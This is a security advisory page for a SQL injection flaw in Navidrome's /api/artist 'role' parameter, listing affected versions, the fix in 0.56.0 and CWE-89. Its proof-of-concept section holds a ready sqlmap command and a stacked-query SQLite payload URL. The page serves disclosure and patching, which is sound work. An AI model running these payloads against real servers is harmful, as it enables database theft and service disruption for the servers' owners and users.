Advisory Database
  • Advisories
  • Dependency Scanning
  1. golang
  2. ›
  3. github.com/navidrome/navidrome
  4. ›
  5. GHSA-5wgp-vjxm-3x2r

GHSA-5wgp-vjxm-3x2r: Navidrome allows SQL Injection via role parameter

May 29, 2025

🛡 <strong>Security Advisory: SQL Injection Vulnerability in Navidrome v0.55.2</strong>

<strong>Overview</strong>

This vulnerability arises due to improper input validation on the role parameter within the API endpoint /api/artist. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information.


<strong>Details</strong>

  • Vulnerable Component: API endpoint → /api/artist Parameter → role

  • Vulnerability Type: SQL Injection (stacked queries, UNION queries)

  • Database Affected: SQLite (confirmed exploitation via SQLite-specific payloads)

  • Impact: Successful exploitation allows an unauthenticated attacker to:

    • Execute arbitrary SQL commands
    • Extract or manipulate sensitive data (e.g., user records, playlists)
    • Potentially escalate privileges or disrupt service availability

<strong>Proof of Concept (PoC)</strong>

Example Exploit Command:

sqlmap.py -r navi --level 5 --risk 3 -a --banner --batch --tamper charencode --dbms sqlite

Sample Payloads:

  • Stacked Queries:

    http://navidrome/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist');SELECT LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))--
    
  • UNION-Based Query:

References

  • github.com/advisories/GHSA-5wgp-vjxm-3x2r
  • github.com/navidrome/navidrome
  • github.com/navidrome/navidrome/commit/b19d5f0d3e079639904cac95735228f445c798b6
  • github.com/navidrome/navidrome/security/advisories/GHSA-5wgp-vjxm-3x2r

Code Behaviors & Features

Detect and mitigate GHSA-5wgp-vjxm-3x2r with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions starting from 0.55.0 before 0.56.0

Fixed versions

  • 0.56.0

Solution

Upgrade to version 0.56.0 or above.

Weakness

  • CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Source file

go/github.com/navidrome/navidrome/GHSA-5wgp-vjxm-3x2r.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Thu, 08 Jan 2026 12:19:18 +0000.